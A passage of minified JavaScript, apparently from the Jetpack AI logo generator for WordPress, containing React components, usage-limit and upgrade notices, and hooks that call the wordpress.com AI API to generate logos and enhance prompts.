logos…&quot;,&quot;jetpack&quot;)})]}),C=()=&gt;(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(&quot;div&quot;,{style:{width:0,height:&quot;229px&quot;}}),(0,k.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__loading-text&quot;,children:__(&quot;Once you generate a logo, it will show up here&quot;,&quot;jetpack&quot;)})]}),A=({disabled:e,ratedItem:t,onRate:s})=&gt;{const{logos:r,selectedLogo:n}=(0,m.A)(),o=r.filter(e=&gt;e.rating).reduce((e,t)=&gt;(e[t.url]=t.rating,e),{});return(0,k.jsx)(c.A,{disabled:e,ratedItem:t,feature:&quot;logo-generator&quot;,savedRatings:o,options:{mediaLibraryId:n.mediaId,prompt:n.description},onRate:s})},S=({siteId:e,logo:t,onApplyLogo:s})=&gt;(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(&quot;img&quot;,{src:t.url,alt:t.description,className:&quot;jetpack-ai-logo-generator-modal-presenter__logo&quot;}),(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__action-wrapper&quot;,children:[(0,k.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__description&quot;,children:t.description}),(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__actions&quot;,children:[(0,k.jsx)(x,{siteId:e}),(0,k.jsx)(j,{onApplyLogo:s}),(0,k.jsx)(A,{ratedItem:t.url,disabled:!1,onRate:s=&gt;{(0,f.H)({siteId:e,url:t.url,newUrl:t.url,mediaId:t.mediaId,rating:s})}})]})]})]}),E=({logo:e})=&gt;(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(&quot;img&quot;,{src:e.url,alt:e.description,className:&quot;jetpack-ai-logo-generator-modal-presenter__logo&quot;}),(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__success-wrapper&quot;,children:[(0,k.jsx)(n.Icon,{icon:(0,k.jsx)(u.A,{})}),(0,k.jsx)(&quot;span&quot;,{children:__(&quot;Your new logo was set to the block!&quot;,&quot;jetpack&quot;)})]})]}),N=({logo:e=null,loading:t=!1,onApplyLogo:s,logoAccepted:r=!1,siteId:n})=&gt;{const{isRequestingImage:o}=(0,m.A)(),{saveToLibraryError:a,logoUpdateError:i}=(0,g.A)();let l;return e||o?e?l=t||o?(0,k.jsx)(w,{}):r?(0,k.jsx)(E,{logo:e}):(0,k.jsx)(S,{siteId:String(n),logo:e,onApplyLogo:s}):(y(&quot;No logo provided, history still loading or logo being generated&quot;),l=(0,k.jsx)(_,{})):l=(0,k.jsx)(C,{}),(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__wrapper&quot;,children:[(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter&quot;,children:[(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__content&quot;,children:l}),!r&amp;&amp;(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-presenter__rectangle&quot;})]}),a&amp;&amp;(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-error&quot;,children:__(&quot;Error saving the logo to your library. Please try again.&quot;,&quot;jetpack&quot;)}),i&amp;&amp;(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-error&quot;,children:__(&quot;Error applying the logo to your site. Please try again.&quot;,&quot;jetpack&quot;)})]})}},11114(e,t,s){&quot;use strict&quot;;s.d(t,{K:()=&gt;x,X:()=&gt;j});var r=s(85985),n=s(56427),o=s(27723),a=s(13109),i=s(28847),l=s(10067),c=s.n(l),u=s(51609),d=s(66223),p=s(21902),h=s(61356),m=s(60674),g=s(88725),f=s(44461),b=s(6019),v=s(64024),k=(s(47341),s(10790));const __=o.__,y=c()(&quot;jetpack-ai-calypso:prompt-box&quot;),x=({prompt:e=&quot;&quot;,setPrompt:t=()=&gt;{},disabled:s=!1,actionDisabled:r=!1,generateHandler:o=()=&gt;{},placeholder:a=&quot;&quot;,buttonLabel:i=&quot;&quot;})=&gt;{const l=(0,u.useRef)(null);(0,u.useEffect)(()=&gt;{l.current&amp;&amp;l.current.textContent!==e&amp;&amp;(l.current.textContent=e)},[e]);return(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-image-generator__prompt-query&quot;,children:[(0,k.jsx)(&quot;div&quot;,{role:&quot;textbox&quot;,tabIndex:0,ref:l,contentEditable:!s,suppressContentEditableWarning:!0,className:&quot;prompt-query__input&quot;,onInput:e=&gt;{t(e.target.textContent||&quot;&quot;)},onPaste:e=&gt;{e.preventDefault();const s=e.currentTarget.ownerDocument.getSelection();if(!s||!s.rangeCount)return;const r=e.clipboardData.getData(&quot;text/plain&quot;);s.deleteFromDocument();s.getRangeAt(0).insertNode(document.createTextNode(r)),s.collapseToEnd(),t(l.current?.textContent||&quot;&quot;)},onKeyDown:e=&gt;{&quot;Enter&quot;===e.key&amp;&amp;(e.preventDefault(),o()),e.stopPropagation()},onKeyUp:()=&gt;{&quot;&quot;===l.current?.textContent&amp;&amp;(l.current.innerHTML=&quot;&quot;)},&quot;data-placeholder&quot;:a}),(0,k.jsx)(n.Button,{variant:&quot;primary&quot;,className:&quot;jetpack-ai-image-generator__prompt-submit&quot;,onClick:o,disabled:r,children:i||__(&quot;Generate&quot;,&quot;jetpack&quot;)})]})},j=({initialPrompt:e=&quot;&quot;})=&gt;{const{tracks:t}=(0,r.st)(),{recordEvent:s}=t,[l,c]=(0,u.useState)(e),[j,w]=(0,u.useState)(0),{enhancePromptFetchError:_,logoFetchError:C}=(0,f.A)(),{nextTierCheckoutURL:A,hasNextTier:S}=(0,m.Q)(),E=l?.length&gt;=h.N3,[N,T]=(0,u.useState)(!1),[B,P]=(0,u.useState)(null),[I,M]=(0,u.useState)([]),{generateLogo:L,enhancePrompt:R,setIsEnhancingPrompt:D,isBusy:F,isEnhancingPrompt:O,site:z,getAiAssistantFeature:U,requireUpgrade:H,context:q,tierPlansEnabled:V,imageStyles:$,guessStyle:G}=(0,g.A)(),W=__(&quot;Enhancing…&quot;,&quot;jetpack&quot;),Z=__(&quot;Enhance prompt&quot;,&quot;jetpack&quot;),J=O?W:Z,K=(0,u.useRef)(null),Y=(0,u.useCallback)(async()=&gt;{y(&quot;Enhancing prompt&quot;,l),D(!0),s(h.vm,{context:q,tool:&quot;enhance-prompt&quot;});try{const e=await R({prompt:l});c(e),D(!1)}catch(e){y(&quot;Error enhancing prompt&quot;,e),D(!1)}},[q,R,l,D]),Q=U(String(z?.id||&quot;&quot;)),X=Q?.currentTier?.value||0,ee=Q?.usagePeriod?.requestsCount||0,te=1===X;(0,u.useEffect)(()=&gt;{w(X-ee&lt;=0?0:X-ee)},[X,ee]),(0,u.useEffect)(()=&gt;{K.current&amp;&amp;K.current.textContent!==l&amp;&amp;(K.current.textContent=l)},[l]),(0,u.useEffect)(()=&gt;{$&amp;&amp;$.length&gt;0?(M([$.find(({value:e})=&gt;e===d.Hu),$.find(({value:e})=&gt;e===d.Wp),...$.filter(({value:e})=&gt;![d.Hu,d.Wp].includes(e))].filter(e=&gt;e)),T(!0),P(d.Hu)):(M([]),T(!1),P(null))},[$]);const se=(0,u.useCallback)(async()=&gt;{if(y(q),B===d.Wp){D(!0),s(h.Tk,{context:q,tool:&quot;image&quot;});const e=await G(l)||d.Hu;P(e),s(h.vm,{context:q,tool:&quot;image&quot;,style:e}),D(!1),L({prompt:l,style:e})}else s(h.vm,{context:q,tool:&quot;image&quot;,style:B}),L({prompt:l,style:B})},[q,L,l,B]),re=(0,u.useCallback)(e=&gt;{y(&quot;change style&quot;,e),P(e),s(h.UO,{context:q,style:e})},[q,P,s]);return(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt&quot;,children:[(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-header&quot;,children:[(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-label&quot;,children:__(&quot;Describe your site:&quot;,&quot;jetpack&quot;)}),(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-actions&quot;,children:(0,k.jsxs)(n.Button,{variant:&quot;link&quot;,disabled:F||H||!E,onClick:Y,children:[(0,k.jsx)(p.A,{}),J]})}),N&amp;&amp;(0,k.jsx)(n.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:B,options:I,onChange:re,disabled:F||H})]}),(0,k.jsx)(x,{prompt:l,setPrompt:c,generateHandler:se,disabled:F||H,actionDisabled:F||H||!E,placeholder:__(&quot;Describe your site or simply ask for a logo specifying some details about it&quot;,&quot;jetpack&quot;)}),(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-footer&quot;,children:[!te&amp;&amp;!H&amp;&amp;(0,k.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-requests&quot;,children:[(0,k.jsx)(&quot;div&quot;,{children:(0,o.sprintf)(
// translators: %d is the number of requests
__(&quot;%d requests remaining.&quot;,&quot;jetpack&quot;),j)}),S&amp;&amp;(0,k.jsxs)(k.Fragment,{children:[&quot; &quot;,(0,k.jsx)(n.Button,{variant:&quot;link&quot;,href:A,target:&quot;_blank&quot;,onClick:()=&gt;{s(h.AN,{context:q,placement:h.Cn})},children:(0,k.jsx)(&quot;span&quot;,{children:__(&quot;Upgrade&quot;,&quot;jetpack&quot;)})})]}),&quot; &quot;,(0,k.jsx)(n.Tooltip,{text:__(&quot;Logo generation costs 10 requests; prompt enhancement costs 1 request each&quot;,&quot;jetpack&quot;),placement:&quot;bottom&quot;,children:(0,k.jsx)(a.A,{className:&quot;prompt-footer__icon&quot;,icon:i.A})})]}),H&amp;&amp;V&amp;&amp;(0,k.jsx)(v.G,{}),H&amp;&amp;!V&amp;&amp;(0,k.jsx)(b.Q,{}),_&amp;&amp;(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-error&quot;,children:__(&quot;Error enhancing prompt. Please try again.&quot;,&quot;jetpack&quot;)}),C&amp;&amp;(0,k.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator__prompt-error&quot;,children:__(&quot;Error generating logo. Please try again.&quot;,&quot;jetpack&quot;)})]})]})}},64024(e,t,s){&quot;use strict&quot;;s.d(t,{G:()=&gt;h});var r=s(85985),n=s(56427),o=s(86087),a=s(27723),i=s(13109),l=s(84699),c=s(61356),u=s(60674),d=s(88725),p=(s(58275),s(10790));const __=a.__,h=()=&gt;{const{tracks:e}=(0,r.st)(),{recordEvent:t}=e,s=__(&quot;Upgrade&quot;,&quot;jetpack&quot;),a=(0,o.createInterpolateElement)(__(&quot;Not enough requests left to generate a logo. &lt;strong&gt;Upgrade now to increase it.&lt;/strong&gt;&quot;,&quot;jetpack&quot;),{strong:(0,p.jsx)(&quot;strong&quot;,{})}),{nextTierCheckoutURL:h}=(0,u.Q)(),{context:m}=(0,d.A)();return(0,p.jsx)(&quot;div&quot;,{className:&quot;jetpack-upgrade-plan-banner&quot;,children:(0,p.jsxs)(&quot;div&quot;,{className:&quot;jetpack-upgrade-plan-banner__wrapper&quot;,children:[(0,p.jsxs)(&quot;div&quot;,{children:[(0,p.jsx)(i.A,{className:&quot;jetpack-upgrade-plan-banner__icon&quot;,icon:l.A}),(0,p.jsx)(&quot;span&quot;,{className:&quot;jetpack-upgrade-plan-banner__banner-description&quot;,children:a})]}),(0,p.jsx)(n.Button,{href:h,target:&quot;_blank&quot;,className:&quot;is-primary&quot;,onClick:()=&gt;{t(c.AN,{context:m,placement:c.tF})},children:(0,p.jsx)(&quot;span&quot;,{children:s})})]})})}},35421(e,t,s){&quot;use strict&quot;;s.d(t,{R:()=&gt;u});var r=s(3924),n=s(85985),o=s(56427),a=s(27723),i=s(61356),l=s(88725),c=s(10790);const __=a.__,u=({onCancel:e,upgradeURL:t,reason:s})=&gt;{const{tracks:a}=(0,n.st)(),{recordEvent:u}=a,d=__(&quot;Upgrade your Jetpack AI for access to logo generation. This upgrade will also increase the amount of monthly requests you can use in for all AI-powered features.&quot;,&quot;jetpack&quot;),p=__(&quot;Not enough requests left to generate a logo. Upgrade your Jetpack AI to increase the amount of requests you can use in all AI-powered features.&quot;,&quot;jetpack&quot;),h=(0,r.A)(&quot;ai-logo-generator-fair-usage-policy&quot;,{anchor:&quot;usage-limitations-and-upgrades&quot;}),{context:m}=(0,l.A)();return(0,c.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal__notice-message-wrapper&quot;,children:[(0,c.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal__notice-message&quot;,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;jetpack-ai-logo-generator-modal__loading-message&quot;,children:&quot;feature&quot;===s?d:p}),&quot; &quot;,(0,c.jsx)(o.Button,{variant:&quot;link&quot;,href:h,target:&quot;_blank&quot;,children:(0,c.jsx)(&quot;span&quot;,{children:__(&quot;Learn more about Jetpack AI.&quot;,&quot;jetpack&quot;)})})]}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal__notice-actions&quot;,children:[(0,c.jsx)(o.Button,{variant:&quot;tertiary&quot;,onClick:e,children:(0,c.jsx)(&quot;span&quot;,{children:__(&quot;Cancel&quot;,&quot;jetpack&quot;)})}),(0,c.jsx)(o.Button,{variant:&quot;primary&quot;,href:t,target:&quot;_blank&quot;,onClick:()=&gt;{u(i.AN,{context:m,placement:i.Tz}),e()},children:(0,c.jsx)(&quot;span&quot;,{children:__(&quot;Upgrade&quot;,&quot;jetpack&quot;)})})]})]})}},48204(e,t,s){&quot;use strict&quot;;s.d(t,{H:()=&gt;c});var r=s(56427),n=s(27723),o=s(1866),a=s(13022),i=s(36791),l=(s(86263),s(10790));const __=n.__,c=({className:e=null,onVisitBlankTarget:t})=&gt;(0,l.jsxs)(&quot;div&quot;,{className:(0,a.A)(&quot;jetpack-ai-logo-generator-modal-visit-site-banner&quot;,e),children:[(0,l.jsx)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-visit-site-banner__jetpack-logo&quot;,children:(0,l.jsx)(&quot;img&quot;,{src:i,alt:&quot;Jetpack&quot;})}),(0,l.jsxs)(&quot;div&quot;,{className:&quot;jetpack-ai-logo-generator-modal-visit-site-banner__content&quot;,children:[(0,l.jsx)(&quot;strong&quot;,{children:__(&quot;Do you want to know all the amazing things you can do with Jetpack AI?&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;span&quot;,{children:__(&quot;Generate and tweak content, create forms, get feedback and much more.&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(&quot;div&quot;,{children:(0,l.jsxs)(r.Button,{variant:&quot;link&quot;,href:&quot;https://jetpack.com/redirect/?source=logo_generator_learn_more_about_jetpack_ai&quot;,target:&quot;_blank&quot;,onClick:t||null,children:[(0,l.jsx)(&quot;span&quot;,{children:__(&quot;Learn more about Jetpack AI&quot;,&quot;jetpack&quot;)}),(0,l.jsx)(r.Icon,{icon:o.A,size:20})]})})]})]})},61356(e,t,s){&quot;use strict&quot;;s.d(t,{$i:()=&gt;c,AN:()=&gt;u,Cn:()=&gt;h,N3:()=&gt;f,Nt:()=&gt;l,Tk:()=&gt;p,Tz:()=&gt;m,UO:()=&gt;d,Zb:()=&gt;i,_S:()=&gt;b,h4:()=&gt;a,iz:()=&gt;r,tF:()=&gt;g,ub:()=&gt;n,vm:()=&gt;o});const r=&quot;jetpack_ai_logo_generator_modal_open&quot;,n=&quot;jetpack_ai_logo_generator_modal_close&quot;,o=&quot;jetpack_ai_logo_generator_generate&quot;,a=&quot;jetpack_ai_logo_generator_save&quot;,i=&quot;jetpack_ai_logo_generator_use&quot;,l=&quot;jetpack_ai_logo_generator_navigate&quot;,c=&quot;jetpack_ai_logo_generator_feedback&quot;,u=&quot;jetpack_ai_upgrade_button&quot;,d=&quot;jetpack_ai_logo_generator_switch_style&quot;,p=&quot;jetpack_ai_logo_generator_guess_style&quot;,h=&quot;input_footer&quot;,m=&quot;free_user_screen&quot;,g=&quot;upgrade_prompt&quot;,f=3,b=10},60674(e,t,s){&quot;use strict&quot;;s.d(t,{Q:()=&gt;i});var r=s(97999),n=s(85985),o=s(47143),a=s(74423);const i=()=&gt;{const{nextTier:e,tierPlansEnabled:t}=(0,o.useSelect)(e=&gt;{const t=e(a.E);return{nextTier:t.getAiAssistantFeature().nextTier,tierPlansEnabled:t.getAiAssistantFeature().tierPlansEnabled}},[]),s=!(0,r.isWpcomPlatformSite)(),i=s?&quot;jetpack-ai-upgrade-url-for-jetpack-sites&quot;:&quot;jetpack-ai-yearly-tier-upgrade-nudge&quot;,l=(0,n.GE)(),c=`https://wordpress.com/home/${l}`,u=new URL(&quot;https://jetpack.com/redirect/&quot;);u.searchParams.set(&quot;source&quot;,i),u.searchParams.set(&quot;site&quot;,l),u.searchParams.set(&quot;path&quot;,t?`jetpack_ai_yearly:-q-${e?.limit}`:&quot;jetpack_ai_yearly&quot;),s||u.searchParams.set(&quot;query&quot;,`redirect_to=${encodeURIComponent(c)}`);return{nextTierCheckoutURL:u.toString(),hasNextTier:!!e}}},78867(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(3924),n=s(47143),o=s(86087),a=s(27723),i=s(74423),l=s(10790);const __=a.__,c=()=&gt;{const{usagePeriod:e}=(0,n.useSelect)(e=&gt;({usagePeriod:e(i.E).getAiAssistantFeature().nextTier}),[]),t=(e=&gt;{const t=__(&quot;You&#039;ve reached this month&#039;s request limit, per our &lt;link&gt;&lt;span&gt;fair usage policy&lt;/span&gt;&lt;/link&gt;.&quot;,&quot;jetpack&quot;);if(!e)return t;
// Translators: %s is the date when the requests will reset.
const s=__(&quot;Requests will reset on %s.&quot;,&quot;jetpack&quot;);return`${t} ${(0,a.sprintf)(s,e)}`})((e=&gt;{if(!e?.nextStart)return null;const t=new Date(e.nextStart);return t.toLocaleString(&quot;default&quot;,{month:&quot;long&quot;})+&quot; &quot;+t.getDate()})(e)),s=(0,r.A)(&quot;ai-logo-generator-fair-usage-policy&quot;,{anchor:&quot;jetpack-ai-usage-limit&quot;});return(0,o.createInterpolateElement)(t,{link:(0,l.jsx)(&quot;a&quot;,{href:s,target:&quot;_blank&quot;,rel:&quot;noreferrer&quot;}),span:(0,l.jsx)(&quot;span&quot;,{})})}},88725(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;f});var r=s(47143),n=s(10067),o=s.n(n),a=s(51609),i=s(31439),l=s(62614),c=s(93869),u=s(51391),d=s(19362),p=s(28229),h=s(74423),m=s(44461);const g=o()(&quot;jetpack-ai-calypso:use-logo-generator&quot;),f=()=&gt;{const{setSelectedLogoIndex:e,setIsSavingLogoToLibrary:t,setIsApplyingLogo:s,setIsRequestingImage:n,setIsEnhancingPrompt:o,increaseAiAssistantRequestsCount:f,addLogoToHistory:b,setContext:v,setIsLoadingHistory:k}=(0,r.useDispatch)(h.E),{logos:y,selectedLogoIndex:x,selectedLogo:j,siteDetails:w,isSavingLogoToLibrary:_,isApplyingLogo:C,isEnhancingPrompt:A,isBusy:S,isRequestingImage:E,getAiAssistantFeature:N,requireUpgrade:T,context:B,tierPlansEnabled:P,isLoadingHistory:I}=(0,r.useSelect)(e=&gt;{const t=e(h.E);return{logos:t.getLogos(),selectedLogoIndex:t.getSelectedLogoIndex(),selectedLogo:t.getSelectedLogo(),siteDetails:t.getSiteDetails(),isSavingLogoToLibrary:t.getIsSavingLogoToLibrary(),isApplyingLogo:t.getIsApplyingLogo(),isRequestingImage:t.getIsRequestingImage(),isEnhancingPrompt:t.getIsEnhancingPrompt(),isBusy:t.getIsBusy(),getAiAssistantFeature:t.getAiAssistantFeature,requireUpgrade:t.getRequireUpgrade(),context:t.getContext(),tierPlansEnabled:t.getTierPlansEnabled(),isLoadingHistory:t.getIsLoadingHistory()}},[]),{setFirstLogoPromptFetchError:M,setEnhancePromptFetchError:L,setLogoFetchError:R,setSaveToLibraryError:D,setLogoUpdateError:F}=(0,m.A)(),{generateImageWithParameters:O}=(0,l.Ay)(),{saveToMediaLibrary:z}=(0,c.A)(),{ID:U=null,name:H=null,description:q=null}=w||{},V=U?String(U):null,$=N(V),G=$?.costs?.[&quot;jetpack-ai-logo-generator&quot;]?.logo,W=$?.featuresControl?.[&quot;logo-generator&quot;],Z=W?.styles||[],J=(0,a.useCallback)(async function(){M(null),f();try{const e=await(0,u.A)();if(!e||!e.token)throw new Error(&quot;No token provided&quot;);g(&quot;Generating first prompt for site&quot;);const t={question:`Generate a simple and short prompt asking for a logo based on the site&#039;s name and description, keeping the same language.\nExample for a site named &quot;The minimalist fashion blog&quot;, described as &quot;Daily inspiration for all things fashion&quot;: A logo for a minimalist fashion site focused on daily sartorial inspiration with a clean and modern aesthetic that is sleek and sophisticated.\nAnother example, now for a site called &quot;El observatorio de aves&quot;, described as &quot;Un sitio dedicado a nuestros compañeros y compañeras entusiastas de la observación de aves.&quot;: Un logo para un sitio web dedicado a la observación de aves,  capturando la esencia de la naturaleza y la pasión por la avifauna en un diseño elegante y representativo, reflejando una estética natural y apasionada por la vida silvestre.\n\nSite name: ${H}\nSite description: ${q}`,feature:&quot;jetpack-ai-logo-generator&quot;,stream:!1},s=&quot;https://public-api.wordpress.com/wpcom/v2/jetpack-ai-query&quot;,r={Authorization:`Bearer ${e.token}`,&quot;Content-Type&quot;:&quot;application/json&quot;},n=await fetch(s,{method:&quot;POST&quot;,headers:r,body:JSON.stringify(t)}).then(e=&gt;e.json());return n?.choices?.[0]?.message?.content}catch(e){throw f(-1),M(e),e}},[M,f,H,q]),K=(0,a.useCallback)(async function(e){if(R(null),!Z||!Z.length)return null;const t=[{role:&quot;jetpack-ai&quot;,context:{type:&quot;ai-assistant-guess-logo-style&quot;,request:e,name:H,description:q}}];try{const e=await(0,i.A)(t,{feature:&quot;jetpack-ai-logo-generator&quot;});if(!e)return null;const s=Z.find(({value:t})=&gt;t===e);return s?s.value:null}catch(e){g(&quot;Error guessing style&quot;,e),Promise.reject(e)}},[Z,H,q]),Y=(0,a.useCallback)(async function({prompt:e,style:t=null}){R(null);try{const s=await(0,u.A)();if(!s||!s.token)throw new Error(&quot;No token provided&quot;);if(&quot;auto&quot;===t)throw new Error(&quot;Auto style is not supported&quot;);g(&quot;Generating image with prompt&quot;,e);const r={prompt:`I NEED to test how the tool works with extremely simple prompts. DO NOT add any detail, just use it AS-IS:\nCreate a single text-free iconic vector logo that symbolically represents the user request, using abstract or symbolic imagery.\nThe design should be modern, with either a vivid color scheme full of gradients or a color scheme that&#039;s monochromatic. Use any of those styles based on the user request mood.\nEnsure the logo is set against a clean solid background.\nEnsure the logo works in small sizes.\nThe imagery in the logo should subtly hint at the mood of the user request but DO NOT use any text, letters, or the name of the site on the imagery.\nThe image should contain a single icon, without variations, color palettes or different versions.\n\nUser request:${e}`,messages:t?[{role:&quot;jetpack-ai&quot;,context:{type:&quot;ai-assistant-generate-logo&quot;,request:e,name:H,description:q,style:t}}]:[],feature:&quot;jetpack-ai-logo-generator&quot;,response_format:&quot;b64_json&quot;,style:t||&quot;&quot;};return await O(r)}catch(e){throw R(e),e}},[H,q]),Q=(0,a.useCallback)(async e=&gt;{D(null);try{if(g(&quot;Saving logo for site&quot;),e.mediaId)return{mediaId:e.mediaId,mediaURL:e.url};const s={mediaId:0,mediaURL:&quot;&quot;};t(!0);const{id:r,url:n}=await z(e.url,&quot;site-logo.png&quot;);return s.mediaId=parseInt(r),s.mediaURL=n,s}catch(e){throw D(e),e}finally{t(!1)}},[t,D]),X=(0,a.useCallback)(async()=&gt;{F(null);try{if(!V||!j)throw new Error(&quot;Missing siteId or logo&quot;);g(&quot;Applying logo for site&quot;,V),s(!0);const{mediaId:e}=j;if(!e)throw new Error(&quot;Missing mediaId&quot;);await(0,p.Z)({siteId:V,imageId:String(e)})}catch(e){throw F(e),e}finally{s(!1)}},[j,s,F,V]),ee=(0,a.useCallback)(e=&gt;{b(e),(0,d.hm)({...e,siteId:String(V)})},[V,b,d.hm]),te=(0,a.useCallback)(async function({prompt:e,style:t}){g(&quot;Generating logo for site&quot;),n(!0);try{if(!G)throw new Error(&quot;Missing cost information&quot;);let s;f(G);try{if(s=await Y({prompt:e,style:t}),!s||!s.data.length)throw new Error(&quot;No image returned&quot;)}catch(e){throw f(-G),e}const r=s.data[0].revised_prompt||null,n={url:&quot;data:image/png;base64,&quot;+s.data[0].b64_json,description:e,revisedPrompt:r};try{const t=await Q(n);ee({url:t.mediaURL,description:e,mediaId:t.mediaId,revisedPrompt:r})}catch(e){throw ee(n),e}}finally{n(!1)}},[G,f,Q,ee,Y]);return{logos:y,selectedLogoIndex:x,selectedLogo:j,setSelectedLogoIndex:e,site:{id:V,name:H,description:q},generateFirstPrompt:J,saveLogo:Q,applyLogo:X,generateImage:Y,enhancePrompt:async function({prompt:e}){L(null),f();try{const t=await(0,u.A)();if(!t||!t.token)throw new Error(&quot;No token provided&quot;);g(&quot;Enhancing prompt&quot;,e);const s={messages:[{role:&quot;system&quot;,content:&quot;Enhance the prompt you receive.\nThe prompt is meant for generating a logo. Return the same prompt enhanced, and make each enhancement wrapped in brackets.\nDo not add any mention to text, letters, typography or the name of the site in the prompt.\nFor example: user&#039;s prompt: A logo for an ice cream shop. Returned prompt: A logo for an ice cream shop [that is pink] [and vibrant].&quot;},{role:&quot;user&quot;,content:e}],feature:&quot;jetpack-ai-logo-generator&quot;,stream:!1},r=&quot;https://public-api.wordpress.com/wpcom/v2/jetpack-ai-query&quot;,n={Authorization:`Bearer ${t.token}`,&quot;Content-Type&quot;:&quot;application/json&quot;},o=await fetch(r,{method:&quot;POST&quot;,headers:n,body:JSON.stringify(s)}).then(e=&gt;e.json());return o?.choices?.[0]?.message?.content}catch(e){throw f(-1),L(e),e}},storeLogo:ee,generateLogo:te,setIsEnhancingPrompt:o,setIsRequestingImage:n,setIsSavingLogoToLibrary:t,setIsApplyingLogo:s,setContext:v,isEnhancingPrompt:A,isRequestingImage:E,isSavingLogoToLibrary:_,isApplyingLogo:C,isBusy:S,getAiAssistantFeature:N,requireUpgrade:T,context:B,tierPlansEnabled:P,isLoadingHistory:I,setIsLoadingHistory:k,imageStyles:Z,guessStyle:K}}},44461(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(47143),n=s(74423);const o=()=&gt;{const{setFeatureFetchError:e,setFirstLogoPromptFetchError:t,setEnhancePromptFetchError:s,setLogoFetchError:o,setSaveToLibraryError:a,setLogoUpdateError:i}=(0,r.useDispatch)(n.E),{featureFetchError:l,firstLogoPromptFetchError:c,enhancePromptFetchError:u,logoFetchError:d,saveToLibraryError:p,logoUpdateError:h}=(0,r.useSelect)(e=&gt;{const t=e(n.E);return{featureFetchError:t.getFeatureFetchError(),firstLogoPromptFetchError:t.getFirstLogoPromptFetchError(),enhancePromptFetchError:t.getEnhancePromptFetchError(),logoFetchError:t.getLogoFetchError(),saveToLibraryError:t.getSaveToLibraryError(),logoUpdateError:t.getLogoUpdateError()}},[]);return{setFeatureFetchError:e,setFirstLogoPromptFetchError:t,setEnhancePromptFetchError:s,setLogoFetchError:o,setSaveToLibraryError:a,setLogoUpdateError:i,clearErrors:()=&gt;{e(null),t(null),s(null),o(null),a(null),i(null)},featureFetchError:l,firstLogoPromptFetchError:c,enhancePromptFetchError:u,logoFetchError:d,saveToLibraryError:p,logoUpdateError:h}}},23101(e,t,s){&quot;use strict&quot;;s.d(t,{K:()=&gt;n.K,T:()=&gt;r.T});var r=s(64537),n=s(11114)},19362(e,t,s){&quot;use strict&quot;;s.d(t,{$t:()=&gt;a,H:()=&gt;o,NP:()=&gt;i,Pv:()=&gt;l,hm:()=&gt;n});var r=s(13858);function n({siteId:e,url:t,description:s,mediaId:r,revisedPrompt:n}){const o=a(e),i={url:t,description:s,mediaId:r,revisedPrompt:n};return o.push(i),localStorage.setItem(`logo-history-${e}`,JSON.stringify(o.slice(-10))),i}function o({siteId:e,url:t,newUrl:s,mediaId:r,rating:n}){const o=a(e),i=o.findIndex(e=&gt;e.url===t);return i&gt;-1&amp;&amp;(o[i].url=s,o[i].mediaId=r,o[i].rating=n),localStorage.setItem(`logo-history-${e}`,JSON.stringify(o.slice(-10))),o[i]}function a(e){const t=localStorage.getItem(`logo-history-${e}`);let s=t?JSON.parse(t):[];return Array.isArray(s)||(s=[]),s=s.slice(-10),s=s.filter(e=&gt;&quot;object&quot;==typeof e&amp;&amp;&quot;string&quot;==typeof e.url&amp;&amp;&quot;string&quot;==typeof e.description).map(e=&gt;({url:e.url,description:e.description,mediaId:e.mediaId,rating:e.rating})),s}function i(e){return 0===a(e).length}async function l(e){const t=a(e).filter(({mediaId:e})=&gt;void 0!==e).map(({mediaId:t})=&gt;new Promise((s,n)=&gt;{(0,r.T)({siteId:e,mediaId:t}).then(e=&gt;s({mediaId:t,exists:e})).catch(e=&gt;n(e))}));try{(await Promise.all(t)).filter(({exists:e})=&gt;!e).forEach(({mediaId:t})=&gt;function({siteId:e,mediaId:t}){const s=a(e),r=s.findIndex(e=&gt;e.mediaId===t);-1!==r&amp;&amp;(s.splice(r,1),localStorage.setItem(`logo-history-${e}`,JSON.stringify(s)))}({siteId:e,mediaId:t}))}catch{}}},13858(e,t,s){&quot;use strict&quot;;s.d(t,{T:()=&gt;n});var r=s(48931);async function n({mediaId:e}){const t=Number(e);if(Number.isNaN(t))return!1;try{return 